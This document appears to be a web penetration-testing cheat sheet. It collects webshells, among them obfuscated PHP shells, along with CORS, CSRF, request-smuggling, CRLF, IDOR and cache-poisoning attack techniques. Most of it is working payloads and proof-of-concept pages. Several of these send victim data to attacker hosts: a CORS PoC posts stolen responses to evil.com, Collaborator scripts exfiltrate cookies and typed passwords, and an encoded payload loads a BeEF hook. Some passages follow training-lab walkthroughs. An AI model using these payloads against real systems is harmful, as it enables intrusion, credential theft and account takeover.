padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
# https://github.com/Kibouo/rustpad
Webshells
https://www.localroot.net/
PHP
# system
//CURL http://ip/shell.php?1=whoami
//www.somewebsite.com/index.html?1=ipconfig
// passthru
<?php passthru($_GET['cmd']); ?>
// NINJA
;").($_^"/"); ?>
http://target.com/path/to/shell.php?=function&=argument
http://target.com/path/to/shell.php?=system&=ls
// NINJA 2
/'^'{{{{';@${$_}[_](@${$_}[__]);
// One more
<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>
// https://github.com/Arrexel/phpbash
// https://github.com/flozz/p0wny-shell
.NET
<%@Page Language=”C#”%><%var p=new System.Diagnostics.Process{StartInfo={FileName=Request[“c”],UseShellExecute=false,RedirectStandardOutput=true}};p.Start();%><%=p.StandardOutput.ReadToEnd()%>
www.somewebsite.com/cgi-bin/a?ls%20/var
Bash
#!/bin/sh
echo;$_ `${QUERY_STRING/%20/ }`
www.somewebsite.com/cgi-bin/a?ls%20/var
aspx
# https://github.com/antonioCoco/SharPyShell
CORS
Tools
# https://github.com/s0md3v/Corsy
python3 corsy.py -u https://example.com
# https://github.com/chenjj/CORScanner
python cors_scan.py -u example.com
# https://github.com/Shivangx01b/CorsMe
echo "https://example.com" | ./Corsme
cat subdomains.txt | ./httprobe -c 70 -p 80,443,8080,8081,8089 | tee http_https.txt
cat http_https.txt | ./CorsMe -t 70
# CORSPoc
# https://tools.honoki.net/cors.html
URL accessed | Access permitted? |
---|---|
http://normal-website.com/example/ | Yes: same scheme, domain, and port |
http://normal-website.com/example2/ | Yes: same scheme, domain, and port |
https://normal-website.com/example/ | No: different scheme and port |
http://en.normal-website.com/example/ | No: different domain |
http://www.normal-website.com/example/ | No: different domain |
http://normal-website.com:8080/example/ | No: different port |
In any site disclosing users & passwords (or other sensitive info), try CORS.
# Simple test
curl --head -s 'http://example.com/api/v1/secret' -H 'Origin: http://evil.com'
# There are various exceptions to the same-origin policy:
• Some objects are writable but not readable cross-domain, such as the location object or the location.href property from iframes or new windows.
• Some objects are readable but not writable cross-domain, such as the length property of the window object (which stores the number of frames being used on the page) and the closed property.
• The replace function can generally be called cross-domain on the location object.
• You can call certain functions cross-domain. For example, you can call the functions close, blur and focus on a new window. The postMessage function can also be called on iframes and new windows in order to send messages from one domain to another.
# Access-Control-Allow-Origin header is included in the response from one website to a request originating from another website, and identifies the permitted origin of the request. A web browser compares the Access-Control-Allow-Origin with the requesting website's origin and permits access to the response if they match.
CORS good example:
https://hackerone.com/reports/235200
- CORS with basic origin reflection:
With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "Account Details".
Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
Send the request to Burp Repeater, and resubmit it with the added header: Origin: https://example.com
Observe that the origin is reflected in the Access-Control-Allow-Origin header.
Now browse to the exploit server, enter the following HTML, replacing $url with the URL for your specific lab and test it by clicking "view exploit":
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','$url/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
Observe that the exploit works - you have landed on the log page and your API key is in the URL.
Go back to the exploit server and click "Deliver exploit to victim".
Click "Access log", retrieve and submit the victim's API key to complete the lab.
- Whitelisted null origin value
With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "My account".
Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
Send the request to Burp Repeater, and resubmit it with the added header Origin: null.
Observe that the "null" origin is reflected in the Access-Control-Allow-Origin header.
Now browse to the exploit server, enter the following HTML, replacing $url with the URL for your specific lab, $exploit-server-url with the exploit server URL, and test it by clicking "view exploit":
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
var req = new XMLHttpRequest ();
req.onload = reqListener;
req.open('get','$url/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='$exploit-server-url/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Notice the use of an iframe sandbox as this generates a null origin request. Observe that the exploit works - you have landed on the log page and your API key is in the URL.
Go back to the exploit server and click "Deliver exploit to victim".
Click "Access log", retrieve and submit the victim's API key to complete the lab.
- CORS with insecure certificate
With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "Account Details".
Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
Send the request to Burp Repeater, and resubmit it with the added header Origin: http://subdomain.lab-id where lab-id is the lab domain name.
Observe that the origin is reflected in the Access-Control-Allow-Origin header, confirming that the CORS configuration allows access from arbitrary subdomains, both HTTPS and HTTP.
Open a product page, click "Check stock" and observe that it is loaded using a HTTP URL on a subdomain.
Observe that the productID parameter is vulnerable to XSS.
Now browse to the exploit server, enter the following HTML, replacing $your-lab-url with your unique lab URL and $exploit-server-url with your exploit server URL and test it by clicking "view exploit":
<script>
document.location="http://stock.$your-lab-url/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://$your-lab-url/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://$exploit-server-url/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
Observe that the exploit works - you have landed on the log page and your API key is in the URL.
Go back to the exploit server and click "Deliver exploit to victim".
Click "Access log", retrieve and submit the victim's API key to complete the lab.
- CORS with pivot attack
Step 1
First we need to scan the local network for the endpoint. Replace $collaboratorPayload with your own Collaborator payload or exploit server URL. Enter the following code into the exploit server. Click store then "Deliver exploit to victim". Inspect the log or the Collaborator interaction and look at the code parameter sent to it.
<script>
var q = [], collaboratorURL = 'http://$collaboratorPayload';
for(i=1;i<=255;i++){
q.push(
function(url){
return function(wait){
fetchUrl(url,wait);
}
}('http://192.168.0.'+i+':8080'));
}
for(i=1;i<=20;i++){
if(q.length)q.shift()(i*100);
}
function fetchUrl(url, wait){
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(q.length) {
q.shift()(wait);
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()(wait);
}
}, wait);
}
</script>
Step 2
Clear the code from stage 1 and enter the following code in the exploit server. Replace $ip with the IP address and port number retrieved from your collaborator interaction. Don't forget to add your Collaborator payload or exploit server URL again. Update and deliver your exploit. We will now probe the username field for an XSS vulnerability. You should retrieve a Collaborator interaction with foundXSS=1 in the URL or you will see foundXSS=1 in the log.
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
}
))
}
fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>
Step 3
Clear the code from stage 2 and enter the following code in the exploit server. Replace $ip with the same IP address and port number as in step 2 and don't forget to add your Collaborator payload or exploit server again. Update and deliver your exploit. Your Collaborator interaction or your exploit server log should now give you the source code of the admin page.
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
}
))
}
fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>
Step 4
Read the source code retrieved from step 3 in your Collaborator interaction or on the exploit server log. You'll notice there's a form that allows you to delete a user. Clear the code from stage 3 and enter the following code in the exploit server. Replace $ip with the same IP address and port number as in steps 2 and 3. The code submits the form to delete carlos by injecting an iframe pointing to the /admin page.
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
}
))
}
fetchUrl("http://$ip");
</script>
Click on "Deliver exploit to victim" to submit the code. Once you have submitted the form to delete user carlos then you have completed the lab.
# JSONP
In GET URL append “?callback=testjsonp”
Response should be:
testjsonp(<json-data>)
# Bypasses
Origin:null
Origin:attacker.com
Origin:attacker.target.com
Origin:attackertarget.com
Origin:sub.attackertarget.com
CORS PoC
<!DOCTYPE html>
<html>
<head>
<title>CORS PoC Exploit</title>
</head>
<body>
<center>
<h1>CORS Exploit<br>six2dez</h1>
<hr>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script type="text/javascript">
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if(this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://<vulnerable-url>", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</center>
</body>
</html>
CORS PoC 2
<html>
<script>
var http = new XMLHttpRequest();
var url = 'Url';//Paste here Url
var params = 'PostData';//Paste here POST data
http.open('POST', url, true);
//Send the proper header information along with the request
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onreadystatechange = function() {//Call a function when the state changes.
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(params);
</script>
</html>
CORS PoC 3 - Sensitive Data Leakage
<html>
<body>
<button type='button' onclick='cors()'>CORS</button>
<p id='corspoc'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from target1337.com about user account
document.getElementById("corspoc").innerHTML = a;
xhttp.open("POST", "https://evil.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("POST", "https://target1337.com", true);
xhttp.withCredentials = true;
var body = "requestcontent";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhttp.send(new Blob([aBody]));
}
</script>
</body>
</html>
CORS JSON PoC
<!DOCTYPE html>
<html>
<head>
<title>JSONP PoC</title>
</head>
<body>
<center>
<h1>JSONP Exploit<br>YourTitle</h1>
<hr>
<div id="demo">
<button type="button" onclick="trigger()">Exploit</button>
</div>
<script>
function testjsonp(myObj) {
var result = JSON.stringify(myObj)
document.getElementById("demo").innerHTML = result;
//console.log(myObj)
}
</script>
<script >
function trigger() {
var s = document.createElement("script");
s.src = "https://<vulnerable-endpoint>?callback=testjsonp";
document.body.appendChild(s);
}
</script>
</body>
</html>
CSRF
Summary
Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform.
3 conditions:
- A relevant action.
- Cookie-based session handling.
- No unpredictable request parameters.
How to find:
- Remove CSRF token from requests and/or put a blank space.
- Change POST to GET.
- Replace the CSRF token with a random value (for example 1).
- Replace the CSRF token with a random token of the same restraints.
- Extract token with HTML injection.
- Use a CSRF token that has been used before.
- Bypass regex.
- Remove referer header.
- Request a CSRF by executing the call manually and use that token for the request.
Approach
- Removing the token parameter entirely
- Setting the token to a blank string
- Changing the token to an invalid token of the same format
- Using a different user's token
- Put the parameters in the URL instead of POST body (and remove the token) and change the HTTP verb to GET
- Testing every sensitive endpoint
- Check whether the token might be guessed / cracked
- Check whether new tokens are generated for every session, if not they may be a hash of something simple like the user's email address. If so you can craft your own valid tokens.
- Try building the payload with multiple methods including a standard HTML form, multipart form, and XHR (Burp can help)
Quick attacks
# HTML GET
<a href=”http://vulnerable/endpoint?parameter=CSRFd">Click</a>
# HTML GET (no interaction)
<img src=”http://vulnerable/endpoint?parameter=CSRFd">
# HTML POST:
<form action="http://vulnerable/endpoint" method="POST">
<input name="parameter" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
# HTML POST (no interaction)
<form id="autosubmit" action="http://vulnerable/endpoint" method="POST">
<input name="parameter" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
# JSON GET:
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://vulnerable/endpoint");
xhr.send();
</script>
# JSON POST
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://vulnerable/endpoint");
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send('{"role":admin}');
</script>
Tools
# https://github.com/0xInfection/XSRFProbe
xsrfprobe --help
https://csrfshark.github.io/
Example 1
Vulnerable request example:
__
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=wiener@normal-user.com
__
HTML with attack:
__
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
__
Example 2
# Exploit CSRF in GET:
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
- SameSite cookie property avoid the attack:
→ Only from same site:
SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;
→ From other site only if GET and requested by click, not scripts (vulnerable if CSRF in GET or POST converted to GET):
SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;
<script>
fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Json CSRF
Requirements:
1. The authentication mechanism should be in the cookie-based model. (By default cookie-based authentication is vulnerable to CSRF attacks)
2. The HTTP request should not be fortify by the custom random token on the header as well in the body.(X-Auth-Token)
3. The HTTP request should not be fortify by the Same Origin Policy.
Bypass 2 & 3:
• Change the request method to GET append the body as query parameter.
• Test the request without the Customized Token (X-Auth-Token) and also header.
• Test the request with exact same length but different token.
If post is not allowed, can try with URL/param?_method=PUT
<body onload='document.forms[0].submit()'>
<form action="https://<vulnerable-url>?_method=PUT" method="POST" enctype="text/plain">
<input type="text" name='{"username":"blob","dummy":"' value='"}'>
<input type="submit" value="send">
</form>
<!---This results in a request body of:
{"username":"blob", "dummy": "="} -->
CSRF Token Bypass
CSRF Tokens
Unpredictable value generated from the server to the client, when a second request is made, server validate this token and reject the request if is missing or invalid. Prevent CSRF attack because the malicious HTTP request formed can't know the CSRF Token generated for the victim.
→ Is transmited to the client through a hidden field:
- Example:
__
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com
__
- Validation depends on method (usually POST):
__
GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
__
- Validation depend on token is present (if not, validation is skipped):
--
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
email=pwned@evil-user.net
--
- CSRF not tied to user session
- CSRF tied to a non-session cookie:
--
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com
--
- CSRF token duplicated in cookie:
--
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com
--
- Validation of referer depends on header present (if not, validation is skipped)
- Circumvent referer validation (if only checks the domain existence)
- Remove Anti-CSRF Token
- Spoof Anti-CSRF Token by Changing a few bits
- Using Same Anti-CSRF Token
- Weak Cryptography to generate Anti-CSRF Token
- Guessable Anti-CSRF Token
- Stealing Token with other attacks such as XSS.
- Converting POST Request to GET Request to bypass the CSRF Token Check. (This is what we will see for this article)
Other validations bypasses:
1) remove anticsrf tokens & parameter
2) pass blank paramter
3) add same length token
4) add another userss valid anti csrf token
5) random token in long length (aaaaaaaaa)
6) Try decode token
7) Use only static part of the token
CSRF sample POC
<html>
<script>
function jsonreq() {
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","https://target.com/api/endpoint", true);
xmlhttp.setRequestHeader("Content-Type","text/plain");
//xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xmlhttp.withCredentials = true;
xmlhttp.send(JSON.stringify({"test":"x"}));
}
jsonreq();
</script>
</html>
CSRF to reflected XSS
<html>
<body>
<p>Please wait... ;)</p>
<script>
let host = 'http://target.com'
let beef_payload = '%3c%73%63%72%69%70%74%3e%20%73%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%20%73%2e%74%79%70%65%3d%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%20%73%2e%73%72%63%3d%27%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%68%6f%6f%6b%2e%6a%73%27%3b%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%29%3b%20%3c%2f%73%63%72%69%70%74%3e'
let alert_payload = '%3Cimg%2Fsrc%2Fonerror%3Dalert(1)%3E'
function submitRequest() {
var req = new XMLHttpRequest();
req.open(<CSRF components, which can easily be copied from Burp's POC generator>);
req.setRequestHeader("Accept", "*\/*");
req.withCredentials = true;
req.onreadystatechange = function () {
if (req.readyState === 4) {
executeXSS();
}
}
req.send();
}
function executeXSS() {
window.location.assign(host+'<URI with XSS>'+alert_payload);
}
submitRequest();
</script>
</body>
</html>
Mindmaps
Web Cache Poisoning
General
Web cache poisoning is an advanced technique whereby an attacker exploits the behavior of a web server and cache so that a harmful HTTP response is served to other users.
Fundamentally, web cache poisoning involves two phases. First, the attacker must work out how to elicit a response from the back-end server that inadvertently contains some kind of dangerous payload. Once successful, they need to make sure that their response is cached and subsequently served to the intended victims.
A poisoned web cache can potentially be a devastating means of distributing numerous different attacks, exploiting vulnerabilities such as XSS, JavaScript injection, open redirection, and so on.
Tools
# https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner
wcvs -u https://url.com
# https://github.com/s0md3v/Arjun
python3 arjun.py -u https://url.com --get
python3 arjun.py -u https://url.com --post
# https://github.com/maK-/parameth
python parameth.py -u https://example.com/test.php
# https://github.com/devanshbatham/ParamSpider
python3 paramspider.py --domain example.com
# https://github.com/s0md3v/Parth
python3 parth.py -t example.com
# XSS for users accessing /en?region=uk:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Broken Links
Tools
# https://github.com/stevenvachon/broken-link-checker
blc -rfoi --exclude linkedin.com --exclude youtube.com --filter-level 3 https://example.com/
Clickjacking
General
Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website.
- Preventions:
- X-Frame-Options: deny/sameorigin/allow-from
- CSP: policy/frame-ancestors 'none/self/domain.com'
# An example using the style tag and parameters is as follows:
<head>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com">
</iframe>
</body>
HTTP Request Smuggling
General
HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users. Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users. Request smuggling attacks involve placing both the Content-Length header and the Transfer-Encoding header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behavior of the two servers: Most HTTP request smuggling vulnerabilities arise because the HTTP specification provides two different ways to specify where a request ends: the Content-Length header and the Transfer-Encoding header.
Tools
# https://github.com/defparam/smuggler
python3 smuggler.py -u <URL>
# https://github.com/defparam/tiscripts
# https://github.com/anshumanpattnaik/http-request-smuggling/
python3 smuggle.py -u <URL>
# https://github.com/assetnote/h2csmuggler
go run ./cmd/h2csmuggler check https://google.com/ http://localhost
# HTTP/2
# https://github.com/BishopFox/h2csmuggler
Samples
- The Content-Length header is straightforward: it specifies the length of the message body in bytes. For example:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
- The Transfer-Encoding header can be used to specify that the message body uses chunked encoding. This means that the message body contains one or more chunks of data. Each chunk consists of the chunk size in bytes (expressed in hexadecimal), followed by a newline, followed by the chunk contents. The message is terminated with a chunk of size zero. For example:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
• CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
◇ Find - time delay:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
• TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
◇ Find time delay:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
• TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
- CL.TE
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
The second response should say: Unrecognized method GPOST.
- TE.CL
In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
- TE.TE: obfuscating TE Header
In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Web Sockets
WebSockets are a bi-directional, full duplex communications protocol initiated over HTTP. They are commonly used in modern web applications for streaming data and other asynchronous traffic.
WebSocket connections are normally created using client-side JavaScript like the following:
var ws = new WebSocket("wss://normal-website.com/chat");
To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
If the server accepts the connection, it returns a WebSocket handshake response like the following:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Several features of the WebSocket handshake messages are worth noting:
• The Connection and Upgrade headers in the request and response indicate that this is a WebSocket handshake.
• The Sec-WebSocket-Version request header specifies the WebSocket protocol version that the client wishes to use. This is typically 13.
• The Sec-WebSocket-Key request header contains a Base64-encoded random value, which should be randomly generated in each handshake request.
• The Sec-WebSocket-Accept response header contains a hash of the value submitted in the Sec-WebSocket-Key request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.
# Tool
https://github.com/PalindromeLabs/STEWS
CRLF
Tools
# https://github.com/MichaelStott/CRLF-Injection-Scanner
crlf_scan.py -i <inputfile> -o <outputfile>
# https://github.com/dwisiswant0/crlfuzz
crlfuzz -u "http://target"
# https://github.com/ryandamour/crlfmap
crlfmap scan --domains domains.txt --output results.txt
The following simplified example uses CRLF to:
1. Add a fake HTTP response header: Content-Length: 0. This causes the web browser to treat this as a terminated response and begin parsing a new response.
2. Add a fake HTTP response: HTTP/1.1 200 OK. This begins the new response.
3. Add another fake HTTP response header: Content-Type: text/html. This is needed for the web browser to properly parse the content.
4. Add yet another fake HTTP response header: Content-Length: 25. This causes the web browser to only parse the next 25 bytes.
5. Add page content with an XSS: <script>alert(1)</script>. This content has exactly 25 bytes.
6. Because of the Content-Length header, the web browser ignores the original content that comes from the web server.
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
- Cloudflare CRLF bypass
<iframe src=”%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)”>
Payload list:
/%%0a0aSet-Cookie:crlf=injection
/%0aSet-Cookie:crlf=injection
/%0d%0aSet-Cookie:crlf=injection
/%0dSet-Cookie:crlf=injection
/%23%0aSet-Cookie:crlf=injection
/%23%0d%0aSet-Cookie:crlf=injection
/%23%0dSet-Cookie:crlf=injection
/%25%30%61Set-Cookie:crlf=injection
/%25%30aSet-Cookie:crlf=injection
/%250aSet-Cookie:crlf=injection
/%25250aSet-Cookie:crlf=injection
/%2e%2e%2f%0d%0aSet-Cookie:crlf=injection
/%2f%2e%2e%0d%0aSet-Cookie:crlf=injection
/%2F..%0d%0aSet-Cookie:crlf=injection
/%3f%0d%0aSet-Cookie:crlf=injection
/%3f%0dSet-Cookie:crlf=injection
/%u000aSet-Cookie:crlf=injection
/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
/%0d%0aheader:header
/%0aheader:header
/%0dheader:header
/%23%0dheader:header
/%3f%0dheader:header
/%250aheader:header
/%25250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header
IDOR
Basics
Check for valuable words:
{regex + perm} id
{regex + perm} user
{regex + perm} account
{regex + perm} number
{regex + perm} order
{regex + perm} no
{regex + perm} doc
{regex + perm} key
{regex + perm} email
{regex + perm} group
{regex + perm} profile
{regex + perm} edit
Bypasses
- Add parameters onto the endpoints for example, if there was
GET /api_v1/messages --> 401
vs
GET /api_v1/messages?user_id=victim_uuid --> 200
- HTTP Parameter pollution
GET /api_v1/messages?user_id=VICTIM_ID --> 401 Unauthorized
GET /api_v1/messages?user_id=ATTACKER_ID&user_id=VICTIM_ID --> 200 OK
GET /api_v1/messages?user_id=YOUR_USER_ID[]&user_id=ANOTHER_USERS_ID[]
- Add .json to the endpoint, if it is built in Ruby!
/user_data/2341 --> 401 Unauthorized
/user_data/2341.json --> 200 OK
- Test on outdated API Versions
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
Wrap the ID with an array.
{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK
Wrap the ID with a JSON object:
{“id”:111} --> 401 Unauthriozied
{“id”:{“id”:111}} --> 200 OK
JSON Parameter Pollution:
POST /api/get_profile
Content-Type: application/json
{“user_id”:<legit_id>,”user_id”:<victim’s_id>}
Web Cache Deception
These preconditions can be exploited for the Web Cache Deception attack in the following manner:
-
Step 1: An attacker entices the victim to open a maliciously crafted link:
https://www.example.com/my_profile/test.jpg
The application ignores the 'test.jpg' part of the URL, the victim profile page is loaded. The caching mechanism identifies the resource as an image, caching it.
-
Step 2: The attacker sends a GET request for the cached page:
https://www.example.com/my_profile/test.jpg
The cached resource, which is in fact the victim profile page is returned to the attacker (and to anyone else requesting it).
Session fixation
Steps to reproduce
- Open example.com/login.
- Open browser devtools.
- Get value for
SESSION
cookie. - Open example.com/login in the incognito tab.
- In the incognito tab, change cookie value to the one, obtained in step 3.
- In the normal tab (the one from steps 1-3) log in as any user.
- Refresh page in the incognito tab.
Result
